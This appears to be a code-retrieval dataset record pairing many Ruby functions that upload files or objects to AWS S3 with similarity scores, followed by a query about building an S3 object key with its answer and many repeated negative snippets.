"def upload\n begin\n @site = Site.find(params[:id])\n rescue\n puts \"Requested site id \" + params[:id] + \" not found\"\n flash[:danger] = \"The requested site does not exist in the system.\"\n redirect_to sites_path \n return\n end\n\n # AWS S3 parameters which will be encoded in the jquery fileupload widget\n # This is important stuff as it is the security part allowing the upload to succeed\n s3_secure = (S3_DEV_PROTOCOL != 'http')\n @s3_direct_post = S3_BUCKET.presigned_post(key: \"uploads/#{SecureRandom.uuid}/${filename}\", success_action_status: 201, acl: :public_read, secure: s3_secure)\n if S3_DEV_HOST\n s3_url = S3_DEV_PROTOCOL + '://' + S3_BUCKET.name() + '.' + S3_DEV_HOST + ':' + S3_DEV_PORT + '/'\n else\n s3_url = @s3_direct_post.url\n end\n @s3_post_data = {url: s3_url, fields: @s3_direct_post.fields.to_json.html_safe, host: @s3_direct_post.url.host}\n end",
"def store(data)\n establish_s3_connection\n bucket = s3keys[\"bucket\"]\n ensure_bucket_exists(bucket)\n \n conn = AWS::S3.new\n obj = conn.buckets[bucket].objects[key]\n obj.write(data)\n end",
"def object_uploaded?(s3_client, bucket_name, object_key, object_content)\r\n s3_client.put_object(\r\n bucket: bucket_name,\r\n key: object_key,\r\n body: object_content\r\n )\r\n return true\r\nrescue StandardError => e\r\n puts \"Error uploading object: #{e.message}\"\r\n return false\r\nend",
"def upload_folder(from, to, command)\n vputs \"Uploading #{from} with #{command} on s3\"\n verbose = $verbose ? \"--verbose\" : \"\"\n\n upload_command = [\n \"aws s3 #{command}\",\n \"--recursive --acl public-read\",\n \"#{ $active_folder }/#{from} s3://#{ $s3_bucket }#{to}\"\n ]\n\n command upload_command.join(' ')\n end",
"def upload()\n obj = @mgr.s3res.bucket(@mgr[\"Bucket\"]).object(@s3key)\n @mgr.log(:info,\"Uploading cloudformation stack template #{@stackdef}:#{@filename} to s3://#{@mgr[\"Bucket\"]}/#{@s3key}\")\n template = @mgr.load_template(\"s3\", \"cfnput\")\n @mgr.symbol_keys(template)\n @mgr.resolve_vars(template, :api_template)\n params = template[:api_template]\n params[:body] = @raw\n obj.put(params)\n end",
"def save_file(upload)\n return false if upload.blank?\n name = self.id.to_s + \".\" + upload.original_filename\n\n self.aws_connect()\n \n # store the file to Amazon S3\n AWS::S3::S3Object.store(name, upload, 'assetmngr', :access => :public_read)\n self.filename = name\n self.save\n end",
"def upload(objectname, filepath)\n prefix = @config['s3']['prefix']\n unless prefix.nil?\n objectname = File.join(prefix, objectname)\n end\n\n filepath = dir(filepath)\n\n # Generate hash of file\n hash = filehash filepath\n @s3touchedobjects << objectname\n # Get hash of version already uploaded, if available.\n begin\n object = AWS::S3::S3Object.find objectname, @bucketname\n oldhash = object.metadata['hash']\n rescue AWS::S3::NoSuchKey\n # File not uploaded yet\n oldhash = nil\n end\n unless hash == oldhash\n # Don't reupload if file hasn't changed\n puts \"#{objectname}: Uploading\"\n AWS::S3::S3Object.store(objectname, open(filepath), @bucketname, access: :public_read, 'x-amz-meta-hash' => hash)\n else\n puts \"#{objectname}: Not uploading, hasn't changed since last time.\"\n end\n end",
"def upload!(acl)\n file_number = 0\n\n total_files = @files.length\n\n @files.each do |file|\n file_number += 1\n\n print \"\\rUploading... [#{file_number}/#{total_files}]\"\n\n next if File.directory? file\n\n # Get the path relative to containing directory\n path = file.gsub(/^#{@folder_path}\\//, '')\n\n options = { :acl => acl }\n\n if MIME::Types.type_for(file).count > 0\n options[:content_type] = MIME::Types.type_for(file).first.to_str\n end\n\n @s3_bucket.object(path).upload_file(file, options)\n end\n\n puts \"\\rUpload complete!\".ljust 80\n end",
"def store_object_in_s3\n @logger.info(\"storing photo for student_id: ##{student.id} to s3...\")\n\n # s3 filenames are sorted by student / upload date / image.\n # Filename shape: {64-character hash} / {YYYY}-{MM}-{DD} / {64-character hash}.\n s3_filename = [\n Digest::SHA256.hexdigest(@local_id),\n @time_now.strftime('%Y-%m-%d'),\n image_file_digest\n ].join('/')\n\n response = @s3_client.put_object(\n bucket: ENV['AWS_S3_PHOTOS_BUCKET'],\n key: s3_filename,\n body: File.open(@path_to_file),\n server_side_encryption: 'AES256'\n )\n\n if response\n @logger.info(\" successfully stored to s3!\")\n @logger.info(\" encrypted with: #{response[:server_side_encryption]}\")\n s3_filename\n else\n @logger.error(\" error storing photo in s3.\")\n nil\n end\n end",
"def save_file_to_s3_bucket(bucket, file)\n\n image_path = \"./public/tmp/#{file}\"\n connect_to_s3()\n s3 = Aws::S3::Resource.new(region: ENV['AWS_REGION'])\n obj = s3.bucket(bucket).object(file)\n\n if obj.exists?\n cleanup_tmp_file(file)\n puts \"File #{file} already exists in the bucket.\"\n url = generate_url(bucket, file)\n else\n obj.upload_file(image_path)\n cleanup_tmp_file(file)\n puts \"Uploaded file (#{file}) to bucket (#{bucket}).\"\n url = generate_url(bucket, file)\n end\n\nend",
"def upload(*args)\n client.bucket_multipart_upload(*args.unshift(upload_id, key)).headers\n end",
"def upload_file(name, zip_content)\n @@bucket.objects[name].write(zip_content)\n end",
"def upload_bucket\n ::AWS::S3.new( { :secure => false } ).buckets['s3.documentcloud.org']\n end",
"def store(s3_path, body, bucket, options = {})\n params = {\n key: s3_path,\n body: body,\n bucket: bucket\n }\n options.merge!({server_side_encryption: 'aws:kms',\n ssekms_key_id: key_id,\n acl: \"private\"\n })\n\n client.put_object(params.merge(options))\n\n end",
"def upload(file_path)\n parts = []\n file = AwsFile.create_from_path(file_path)\n default_part_size = file.default_part_size\n aws_file_uuid = file.uuid\n uploads_count = file.uploads_count\n parts = compute_parts(file_path, default_part_size)\n Parallel.each(parts, in_threads: S3MediaServerApi::Config.upload_thread_count) do |part|\n signed_upload_url = AwsFile.get_signed_upload_url(aws_file_uuid, part[:part_number])\n\n raise PartUploadError.new(\"Part #{part[:part_number]} wasn't uploaded\") unless upload_part(signed_upload_url, part[:body].read)\n end\n\n AwsFile.complete_upload(aws_file_uuid)\n ensure\n close_all_parts(parts)\n end",
"def upload_file(bucket_key,file_location,file_name,access_token)\n file_uploaded = File.new(file_location, 'rb')\n response = RestClient.put(\"#{API_URL}/oss/v2/buckets/#{bucket_key}/objects/#{file_name}\",\n file_uploaded,\n { Authorization: \"Bearer #{access_token}\", content_type:'application/octet-stream'})\n return response\nend",
"def putAsset(filePath, metadata)\n\n # Calculate the sha256 hash, and use it to form the s3 path\n sha256Sum = Digest::SHA256.file(filePath).hexdigest\n s3Path = \"#{getEnv(\"S3_BINARIES_PREFIX\")}/#{sha256Sum[0,2]}/#{sha256Sum[2,2]}/#{sha256Sum}\"\n\n # If the S3 file is already present, don't re-upload it.\n obj = $s3Bucket.object(s3Path)\n if !obj.exists? || $forceMode\n #puts \"Uploading #{filePath} to S3.\"\n obj.put(body: File.new(filePath),\n metadata: metadata.merge({\n original_path: filePath.sub(%r{.*/([^/]+/[^/]+)$}, '\\1'), # retain only last directory plus filename\n mime_type: MimeMagic.by_magic(File.open(filePath)).to_s\n }))\n end\n\n return sha256Sum\nend",
"def store_on_s3(tempfile, filename)\n ext = File.extname(filename)\n fkey = poor_random + ext\n\n AWS::S3::S3Object.store(fkey, tempfile, ENV['S3_BUCKET_NAME'])\n\n process(tempfile.path, '300x1000', ext, :s3_300)\n process(tempfile.path, '500x2000', ext, :s3_500)\n process(tempfile.path, '150x1000', ext, :s3_thumb)\n\n fkey\n end",
"def putAsset(filePath, metadata)\n\n # Calculate the sha256 hash, and use it to form the s3 path\n md5sum = Digest::MD5.file(filePath).hexdigest\n sha256Sum = Digest::SHA256.file(filePath).hexdigest\n s3Path = \"#{$s3Config.prefix}/binaries/#{sha256Sum[0,2]}/#{sha256Sum[2,2]}/#{sha256Sum}\"\n\n # If the S3 file is already correct, don't re-upload it.\n obj = $s3Bucket.object(s3Path)\n if !obj.exists? || obj.etag != \"\\\"#{md5sum}\\\"\"\n #puts \"Uploading #{filePath} to S3.\"\n obj.put(body: File.new(filePath),\n metadata: metadata.merge({\n original_path: filePath.sub(%r{.*/([^/]+/[^/]+)$}, '\\1'), # retain only last directory plus filename\n mime_type: MimeMagic.by_magic(File.open(filePath)).to_s\n }))\n obj.etag == \"\\\"#{md5sum}\\\"\" or raise(\"S3 returned md5 #{resp.etag.inspect} but we expected #{md5sum.inspect}\")\n end\n\n return sha256Sum\nend",
"def object_uploaded?(s3_client, bucket_name, object_key, object_content)\r\n response = s3_client.put_object(\r\n bucket: bucket_name,\r\n key: object_key,\r\n body: object_content\r\n )\r\n if response.etag\r\n return true\r\n else\r\n return false\r\n end\r\nrescue StandardError => e\r\n puts \"Error uploading object: #{e.message}\"\r\n return false\r\nend",
"def upload_file(source,bucket,key_prefix,source_prefix,item_lookup)\n source_prefix = $1 if not source_prefix and source =~ /^(\\.+\\/*)/\n if File.directory?(source)\n upload_files(Dir[\"#{source}/*\"],bucket,key_prefix,source_prefix,item_lookup)\n else\n key = \"#{key_prefix}#{source[(source_prefix || '').length..-1]}\"\n source_size = File.size(source)\n if (last_size = item_lookup[key]) and last_size == source_size\n puts \"SKIP #{source}\"\n else\n if last_size\n print \"UPDATE #{source} => s3://#{bucket.name}/#{key} (#{last_size} => #{source_size})\"\n else\n print \"ADD #{source} => s3://#{bucket.name}/#{key} (#{source_size})\"\n end\n start_time = Time.now\n File.open(source,'rb') do|file|\n bucket.object(key).put(body: file)\n end\n puts \"... #{(Time.now - start_time).to_i}\"\n end\n end\nend",
"def upload!(thread_count = 5)\n file_number = 0\n mutex = Mutex.new\n threads = []\n\n thread_count.times do |i|\n threads[i] = Thread.new {\n until files.empty?\n mutex.synchronize do\n file_number += 1\n Thread.current[\"file_number\"] = file_number\n end\n file = files.pop rescue nil\n next unless file\n\n # I had some more manipulation here figuring out the git sha\n # For the sake of the example, we'll leave it simple\n #\n path = file\n\n puts \"[#{Thread.current[\"file_number\"]}/#{total_files}] uploading...\"\n\n data = File.open(file)\n\n next if File.directory?(data)\n \n # chop 'public' from key:\n path.slice!('public/')\n obj = s3_bucket.objects[path]\n \n obj.write(data, { acl: :public_read })\n end\n }\n end\n threads.each { |t| t.join }\n end",
"def upload_templates(templates, bucket)\n templates.each do |path|\n puts \"Uploading #{path} to #{bucket}/#{path}\"\n template = JSON.parse(File.open(path).read)\n\n @s3.put_object(\n acl: \"authenticated-read\",\n body: JSON.pretty_generate(template),\n bucket: bucket,\n key: path)\n end\n end",
"def encrypted_object_uploaded?(\n s3_encryption_client,\n bucket_name,\n object_key,\n object_content\n)\n s3_encryption_client.put_object(\n bucket: bucket_name,\n key: object_key,\n body: object_content\n )\n return true\nrescue Aws::Errors::ServiceError => e\n puts \"Error uploading object: #{e.message}\"\n return false\nend",
"def encrypted_object_uploaded?(\n s3_encryption_client,\n bucket_name,\n object_key,\n object_content\n)\n s3_encryption_client.put_object(\n bucket: bucket_name,\n key: object_key,\n body: object_content\n )\n return true\nrescue Aws::Errors::ServiceError => e\n puts \"Error uploading object: #{e.message}\"\n return false\nend",
"def upload_key(s3client,newkeyblob,filename,bucket)\r\n keyfile_name= filename+ \".key\"\r\n newkeyblob64 = Base64.encode64(newkeyblob)\r\n s3client.put_object({\r\n body: newkeyblob64,\r\n key: keyfile_name,\r\n bucket: bucket\r\n })\r\nend",
"def upload_file(bucket_key, file_location, file_name, access_token)\n file_uploaded = File.new(file_location, 'rb')\n response = RestClient.put(\"#{API_URL}/oss/v2/buckets/#{bucket_key}/objects/#{file_name}\",\n file_uploaded,\n { Authorization: \"Bearer #{access_token}\", content_type:'application/octet-stream'})\n return response\n end",
"def upload(ci_project_name)\n return puts \"\\nNothing to upload!\" if files.empty?\n\n files.each do |file|\n file_name = \"#{ci_project_name}/#{file.split('/').last}\"\n Runtime::Logger.info(\"Uploading #{file_name}...\")\n gcs_storage.put_object(BUCKET, file_name, File.read(file))\n end\n\n puts \"\\nDone\"\n end",
"def store_s3_object(filename, contents, content_type = 'text/html')\n if Vaalit::AWS.connect?\n Rails.logger.info \"Store to S3, bucket: '#{bucket_name}', dir: '#{directory}', filename: '#{filename}'\"\n AWS::S3::S3Object.store(\"#{directory}/#{filename}\", contents, bucket_name, :content_type => \"#{content_type}; charset=utf-8\")\n else\n Rails.logger.debug \"Development mode. Not storing to S3: #{filename}\"\n end\n end",
"def uploadFile(key = \"\")\n key = 0 < key.length ? key : self.dispatched.fileName\n self.bucket.put(key, self.string)\n self.clear\n end",
"def store_logs_in_s3_bucket\n # Set Client Resources for AWS\n Aws.config.update(region: \"us-gov-west-1\")\n s3client = Aws::S3::Client.new\n s3resource = Aws::S3::Resource.new(client: s3client)\n s3bucket = s3resource.bucket(\"data-remediation-output\")\n\n # Folder and File name\n file_name = \"contention-not-found-remediation-logs/cnf-remediation-log-#{Time.zone.now}\"\n\n # Store contents of logs array in a temporary file\n content = @logs.join(\"\\n\")\n temporary_file = Tempfile.new(\"cnf-log.txt\")\n filepath = temporary_file.path\n temporary_file.write(content)\n temporary_file.flush\n\n # Store File in S3 bucket\n s3bucket.object(file_name).upload_file(filepath, acl: \"private\", server_side_encryption: \"AES256\")\n\n # Delete Temporary File\n temporary_file.close!\n end",
"def run_me\n bucket_name = 'doc-example-bucket'\n object_key = 'my-file.txt'\n object_content = 'This is the content of my-file.txt.'\n region = 'us-west-2'\n s3_client = Aws::S3::Client.new(region: region)\n\n if upload_file_encrypted_aes256_at_rest?(\n s3_client,\n bucket_name,\n object_key,\n object_content\n )\n puts 'File uploaded and encrypted.'\n else\n puts 'File not uploaded.'\n end\nend",
"def encrypted_object_uploaded?(\r\n s3_client,\r\n bucket_name,\r\n object_key,\r\n encrypted_object_content\r\n)\r\n s3_client.put_object(\r\n bucket: bucket_name,\r\n key: object_key,\r\n body: encrypted_object_content\r\n )\r\n return true\r\nrescue StandardError => e\r\n puts \"Error uploading object: #{e.message}\"\r\n return false\r\nend",
"def update_file_on_s3(file, objects)\n file_path = s3_file_path(file)\n conn = RedmineS3::Connection.conn\n object = objects[file_path]\n\n # get the file modified time, which will stay nil if the file doesn't exist yet\n # we could check if the file exists, but this saves a head request\n s3_mtime = object.last_modified rescue nil \n\n # put it on s3 if the file has been updated or it doesn't exist on s3 yet\n if s3_mtime.nil? || s3_mtime < File.mtime(file)\n fileObj = File.open(file, 'r')\n RedmineS3::Connection.put(file_path, fileObj.read)\n fileObj.close\n\n puts \"Put file \" + File.basename(file)\n else\n puts File.basename(file) + ' is up-to-date on S3'\n end\n end",
"def upload_file(task)\n return if bucket.nil? || !task.instance_of?(Task)\n task.upload_files.each { |f|\n begin\n file_ptr = File.exist?(f) ? File.new(f) : \"\"\n bucket.put(f.gsub(/^\\.\\//, ''), file_ptr)\n rescue Exception => e\n puts \"Cannot open file named: #{f} Message: #{e}\"\n end\n\n }\n end",
"def upload_file_encrypted_aes256_at_rest?(\n s3_client,\n bucket_name,\n object_key,\n object_content\n)\n s3_client.put_object(\n bucket: bucket_name,\n key: object_key,\n body: object_content,\n server_side_encryption: 'AES256'\n )\n return true\nrescue StandardError => e\n puts \"Error uploading object: #{e.message}\"\n return false\nend",
"def aws_put_file(bucket, key, content, **opt)\n meth = opt.delete(:meth) || calling_method\n client = opt.delete(:client)\n client ||= (bucket.client if bucket.is_a?(Aws::S3::Bucket))\n client ||= s3_client(**opt)\n params = { bucket: bucket, key: key }\n # @type [Types::CopyObjectOutput, Types::PutObjectOutput] response\n response =\n if content.is_a?(Aws::S3::Object)\n params[:copy_source] = \"#{content.bucket_name}/#{content.key}\"\n client.copy_object(params, opt)\n else\n # noinspection RubyMismatchedArgumentType\n params[:body] = content.is_a?(String) ? StringIO.new(content) : content\n client.put_object(params, opt)\n end\n Log.debug { \"#{meth}: AWS S3 response: #{response.inspect} \" }\n key\n rescue => error\n set_error(error)\n # noinspection RubyScope\n Log.warn { \"#{meth}: AWS S3 failure: #{error.class}: #{error.message}\" }\n end",
"def store!\n # Upload the file\n prefix = \"#{Time.now.strftime(\"%Y%m%d%H%M%S\")}\"\n fname = prefix+(@file.respond_to?(:original_filename) ? @file.original_filename : File.basename(@file))\n o = s3_bucket.objects[\"#{asset_path}#{fname}\"]\n o.write(Pathname.new(@file.path), {\n acl: :public_read,\n content_type: MIME::Types.type_for(@file.path).first.to_s\n })\n\n # Set the public_url attribute\n remote_url = o.public_url.to_s\n self.set(public_url: remote_url)\n self.this.update(public_url: remote_url)\n end",
"def publish_s3_bucket\n DeliveryGolang::Helpers::Publish.publish_s3_bucket(node)\n end",
"def upload_latest_copy\n upload_to_s3(report_files, prefix)\n end",
"def punch\n s3 = Aws::S3::Resource.new(region: ENV['S3_REGION'])\n obj = s3.bucket(ENV['S3_BUCKET']).object(@name)\n \n begin\n # Upload the file\n obj.upload_file(\n @file.path,\n content_type: MimeMagic.by_path(@file.path).type,\n acl:'public-read'\n )\n rescue => e\n Rails.logger.error { \"#{e.message} #{e.backtrace.join(\"\\n\")}\" }\n return false\n end\n \n # Create an object for the upload\n return upload = {\n file_name: obj.key,\n file_url: obj.public_url,\n file_type: obj.content_type,\n file_size: obj.size\n }\n \n end",
"def s3_delete_files\n return unless S3_ENABLED\n s3 = AWS::S3.new\n bucket = s3.buckets[s3_bucket_name]\n bucket.objects.with_prefix(\"#{id}/\").each do |obj|\n obj.delete\n end\n end",
"def upload local_file_path, storage_file_path, encryption_key: nil\n unless @bucket.file storage_file_path\n @bucket.create_file local_file_path, storage_file_path,\n encryption_key: encryption_key\n end\n end",
"def uploadOriginalImagesToS3(image_path, image_name, order_number, status_hash)\n\t\tself.s3Connect(status_hash)\n\t\ts3_bucket = $CONFIG[:s3_original_bucket]\n\t\ttmp_path = File.join(File.dirname(__FILE__), 'orders', order_number)\n\t\tbegin\n\t\t\ts3_obj_store = AWS::S3::S3Object.store(image_name, open(image_path), s3_bucket)\n\t\t\tstatus_hash[:status] = 0\n\t\t\tstatus_hash[:msg] = \"original image upload to s3\"\n\t\t\t$LOG.info(\"order_number: #{order_number}\")\n\t\t\t$LOG.info(\"s3_bucket: #{s3_bucket}\")\n\t\t\t$LOG.info(\"image_name: #{image_name}\")\n\t\t\t$LOG.info(\"image_path: #{image_path}\")\n\t\t\t$LOG.info(\"s3_obj_store: #{s3_obj_store}\")\n\t\t\t$LOG.info(status_hash[:msg])\n\t\trescue => e\n\t\t\t$LOG.info(\"uploadOriginalImagesToS3 error: #{e}\")\n\t\tend\t\t\n\tend",
"def s3_write(key, value)\n @s3.put_object(bucket: ENV.fetch(\"AWS_BUCKET\"), key: key, body: value,\n content_type: \"text/plain; charset=utf-8\")\n end",
"def aws_upload(location, name)\n return Rubyprot::Storage.aws_upload(location, name)\n end",
"def put(io_streams, as=io_streams.map{|file| File.basename(file)})\n begin\n i = 0\n batch(io_streams) do |stream, connection|\n dest = as[i]\n i += 1\n yield(stream, dest) if block_given?\n connection.upload(stream, join_with_path(dest))\n file_to_url(dest)\n end\n rescue Net::SFTP::StatusException => e\n raise Error::File::Remote::SFTP, \"SFTP upload failed: #{e.description}\"\n end\n end",
"def upload(bucket, key, path)\n Monsove.logger.info(\"Uploading archive to #{key}\")\n\n @con.put_object(\n bucket, key, File.open(\"#{path}.tar.bz2\", 'r'),\n {'x-amz-acl' => 'private', 'Content-Type' => 'application/x-tar'}\n )\n end",
"def store_object(box_file, index_file, object_key, bucket)\n logger.info(\"uploading: #{bucket}/#{object_key}\")\n is_multipart = box_file.size > @size_for_multipart\n io = box_file.stream\n io = save_copy(index_file, io) if index_file\n\n options = {\n key: object_key,\n bucket: bucket,\n data: io\n }.tap do |memo|\n memo.update(part_size: @part_size) if is_multipart\n end\n\n method = is_multipart ? :store_object_multipart : :store_object\n @s3.send(method, options)\n index_file.close if index_file\n end",
"def send_to_s3(name, tmp_file)\n archive = \"/tmp/#{archive_name(name)}.tar.gz\"\n\n msg \"archiving #{name}\"\n cmd = \"tar -cpzf #{archive} #{tmp_file}\"\n puts cmd\n system cmd\n\n msg \"sending archived #{name} to S3\"\n AWS::S3::S3Object.store(File.basename(archive), open(archive), bucket_name(name), :access => :private)\n msg \"finished sending #{name} S3\"\n\n msg \"cleaning up\"\n cmd = \"rm -rf #{archive} #{tmp_file}\"\n puts cmd\n system cmd \n end",
"def store!(file)\n file_path = file.is_a?(String) ? file : file.path\n basename = file.is_a?(String) ? File.basename(file) : file.original_filename\n\n # Upload the file\n o = s3_bucket.objects[\"#{asset_path}#{basename}\"]\n o.write(Pathname.new(file_path), {\n acl: :public_read,\n content_type: MIME::Types.type_for(file_path).first.to_s\n })\n\n # Set the public_url attribute\n remote_url = o.public_url.to_s\n self.set(public_url: remote_url)\n self.this.update(public_url: remote_url)\n end",
"def log_to_s3(log_file, filename)\n S3Service.store_file(S3_BUCKET_NAME + \"/\" + filename + \"--#{Time.zone.now}.csv\", log_file)\n end",
"def save(file_path, bucket_name, key=SecureRandom.uuid)\n bucket_name = env_bucket_name(bucket_name)\n uri = \"urn:openhbx:terms:v1:file_storage:s3:bucket:#{bucket_name}##{key}\"\n begin\n object = get_object(bucket_name, key)\n if object.upload_file(file_path, :server_side_encryption => 'AES256')\n uri\n else\n nil\n end\n rescue Exception => e\n nil\n end\n end"
] |
[
"0.7936572",
"0.78790015",
"0.77684045",
"0.7756051",
"0.76901543",
"0.76782143",
"0.766342",
"0.7621945",
"0.7612313",
"0.7567263",
"0.74612737",
"0.7444629",
"0.7402972",
"0.7394519",
"0.73923206",
"0.73803467",
"0.7333729",
"0.7291081",
"0.7291081",
"0.72435814",
"0.72322345",
"0.7215034",
"0.7196668",
"0.7183937",
"0.71662515",
"0.7153458",
"0.7149254",
"0.7142026",
"0.7126887",
"0.711697",
"0.71132356",
"0.71054727",
"0.7091905",
"0.70384306",
"0.7030009",
"0.7023249",
"0.70221305",
"0.6937018",
"0.6891109",
"0.68812144",
"0.6859303",
"0.6857311",
"0.6840604",
"0.6830363",
"0.6823034",
"0.68154204",
"0.67920256",
"0.6789932",
"0.6784214",
"0.6776886",
"0.67746717",
"0.6721004",
"0.6701499",
"0.6694826",
"0.6677063",
"0.667452",
"0.6645584",
"0.66400814",
"0.6632652",
"0.6620767",
"0.66096085",
"0.6589934",
"0.6582166",
"0.65807194",
"0.6568603",
"0.65684044",
"0.6538156",
"0.65250015",
"0.6524509",
"0.64958405",
"0.64922947",
"0.64922947",
"0.64818144",
"0.6459956",
"0.64586437",
"0.645836",
"0.6444199",
"0.6432141",
"0.64280146",
"0.64181584",
"0.64180946",
"0.6412928",
"0.6410713",
"0.64077544",
"0.64067334",
"0.6389701",
"0.63820654",
"0.63764995",
"0.6370583",
"0.63563746",
"0.63453645",
"0.6339418",
"0.63353723",
"0.6291588",
"0.62652135",
"0.62522066",
"0.62481403",
"0.6247851",
"0.62438387",
"0.6231577"
] |
0.76308334
|
7
|
Fabricate key for s3 object
|
def key(*args)
args.compact.join("/")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def code_s3_key\n \"code_s3_key_placeholder\"\n end",
"def upload_key(s3client,newkeyblob,filename,bucket)\r\n keyfile_name= filename+ \".key\"\r\n newkeyblob64 = Base64.encode64(newkeyblob)\r\n s3client.put_object({\r\n body: newkeyblob64,\r\n key: keyfile_name,\r\n bucket: bucket\r\n })\r\nend",
"def calculate_s3_key\n if photo && photo.filename && photo.source_id && name\n \"places/#{photo.place_id}/#{photo.source_id}/#{photo.file_parts[:root]}-#{name}.#{photo.file_parts[:extension]}\"\n else\n nil\n end\n end",
"def object(key)\n AWS::S3::S3Object.new(bucket, \"#{@path}#{key}\")\n end",
"def aws_s3_object_key(uri)\n uri.path.split('/')[2..-1].join('/')\n end",
"def do_bucket_key(bucket_name, object_name, options)\n access_key_id, secret_access_key, security_token = if ENV.has_key? \"AWS_SESSION_TOKEN\"\n get_temporary_keys_from_environment\n else\n get_temporary_keys_via_sts\n end\n\n expiration = options[:expires].to_i\n\n string_to_sign = \"GET\\n\\n\\n#{expiration}\\nx-amz-security-token:#{security_token}\\n/#{bucket_name}/#{object_name}\"\n\n signature = CGI.escape(\n Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest.new('sha1'),\n secret_access_key,\n string_to_sign,\n )\n ).gsub(\"\\n\",\"\")\n )\n\n object_url = if options[:path_style]\n \"https://s3.amazonaws.com/#{bucket_name}/#{object_name}\"\n elsif options[:insecure]\n \"http://#{bucket_name}.s3.amazonaws.com/#{object_name}\"\n else\n \"https://#{bucket_name}.s3.amazonaws.com/#{object_name}\"\n end\n\n url = object_url + \"?AWSAccessKeyId=#{access_key_id}&Expires=#{expiration}&Signature=#{signature}&x-amz-security-token=#{CGI.escape(security_token)}\"\n\n puts url\nend",
"def s3_object\n @s3_object ||= bucket.objects[full_key]\n end",
"def access_key\n return Brevidy::Application::S3_ACCESS_KEY_ID\n end",
"def object(key)\n bucket.object([*prefix, key].join(\"/\"))\n end",
"def s3_object(path)\n @task.s3_object(\"asgroup/#{@name}/#{path}\")\n end",
"def save(key, value)\n s3_write key, value\n end",
"def store(s3_path, body, bucket, options = {})\n params = {\n key: s3_path,\n body: body,\n bucket: bucket\n }\n options.merge!({server_side_encryption: 'aws:kms',\n ssekms_key_id: key_id,\n acl: \"private\"\n })\n\n client.put_object(params.merge(options))\n\n end",
"def bucket; ::AWS::S3.new({ secure: true }).buckets[DC::SECRETS['bucket']]; end",
"def create_object(bucket_name, key, data, headers = {}, meta_headers = {}, acl = :private)\n headers = headers.dup\n meta_headers.each do |k,v|\n headers[k =~ /^x-amz-meta-/i ? k : \"x-amz-meta-#{k}\"] = v\n end\n headers['x-amz-acl'] = acl.to_s.gsub(/_/, '-')\n\n response = send_s3_request('PUT', :bucket => bucket_name, :key => key, :headers => headers, :data => data)\n response.is_a?(Net::HTTPSuccess)\n end",
"def bucket; ::AWS::S3.new( { :secure => false } ).buckets[DC::SECRETS['bucket']]; end",
"def upload_file(s3client,plaintext_key,filename,bucket)\r\n begin\r\n filebody = File.new(filename)\r\n s3enc = Aws::S3::Encryption::Client.new(encryption_key: plaintext_key,\r\n client: s3client)\r\n res = s3enc.put_object(bucket: bucket,\r\n key: filename,\r\n body: filebody)\r\n rescue Aws::S3::Errors::ServiceError => e\r\n puts \"upload failed: #{e}\"\r\n end\r\nend",
"def put(bucket, key, object=nil, headers={})\n object = S3Object.new(object) if not object.instance_of? S3Object\n return generate_url('PUT', bucket, CGI::escape(key), {}, merge_meta(headers, object))\n end",
"def s3_object\n @s3_object ||= AWS::S3::S3Object.find(key, bucket) if self.class.open_aws && key\n rescue\n nil\n end",
"def get_s3_url(image)\n http = `curl -X POST -d url=#{image} https://www.filepicker.io/api/store/S3?key=#{filepicker_api_key}`\n response = JSON(http)\n @key = response['key']\n return @key\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def get(key)\n s3_read key\n end",
